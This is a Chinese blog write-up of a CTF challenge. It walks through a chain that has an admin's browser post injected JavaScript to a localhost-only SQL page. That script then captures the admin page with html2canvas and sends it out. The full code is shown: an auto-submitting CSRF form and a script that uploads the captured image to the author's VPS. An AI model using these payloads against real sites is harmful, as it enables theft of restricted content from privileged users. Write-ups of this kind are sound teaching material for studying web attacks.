美文网首页
MySQL_Online(xss读取目标同源网页)

MySQL_Online(xss读取目标同源网页)

作者: 白里个白 | 来源:发表于2018-07-23 17:09 被阅读0次

写在前面

巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解题过程。

描述

主要是XSS,网站中允许输入一个地址,管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面,最后flag藏在一个页面中,该页面在服务器配置时设置只允许127.0.0.1访问,其余为403错误。

思路

通过对该网站写入js代码,让127.0.0.1访问我们写好js代码的页面,最后得到flag页面。

过程

首先,先写一个自动提交form表单的页面

<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>

当我们让管理员访问这个页面的时候,管理员就会post数据到本地的runsql.php页面,这时runsql.php页面上就会有我们的js数据

接下来构造js:

<html>
  <body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
    <script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
    <script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
        html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;

  xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST","your vsp",true);

xmlhttp.send(canvas.toDataURL());
});
    </script>
  </body>
</html>

这个页面会自动获取同源网页的页面,然后发送到vps上。最后就能得到flag了。


admin_zzzz666.php

相关文章

  • MySQL_Online(xss读取目标同源网页)

    写在前面 巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解...

  • Js跨域方法

    题目1: 什么是同源策略 A网页设置的 Cookie,B网页不能打开,除非这两个网页“同源”。所谓“同源”指的是”...

  • 爬虫 - python + selenium + webdriv

    一、爬虫读取网页上table(表格)三种方法 读取网页,直接解析html,读取table。 读取网页,用panda...

  • js__JSONP__跨域

    1: 什么是同源策略 最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页"同源",所谓...

  • 【知识】浅谈xss攻击及如何简单的预防

    什么是xss攻击? XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页...

  • 阅读随记

    利用XSS弹出恶意警告框,代码为: alert("XSS"); XSS输入也可能是HTML代码段,如要使网页不停地...

  • XSS攻击和CSRF攻击

    一、XSS攻击1、什么是XSS?XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户...

  • 网络安全-XSS攻击

    XSS全称Cross Site Scripting,不叫css是为了和样式表区分开,其核心原理就是在目标网页中执行...

  • 同源策略, 跨域, JSONP

    问答 什么是同源策略 同源策略是浏览器安全的基石, 规定了不同源的网站不能相互读取资源 同源定义相同协议相同主机相...

  • 网页读取

    如果用节点,用rvest::read_html(url) %>% html_nodes(".article_tit...

网友评论

      本文标题:MySQL_Online(xss读取目标同源网页)

      本文链接:https://www.haomeiwen.com/subject/qimkmftx.html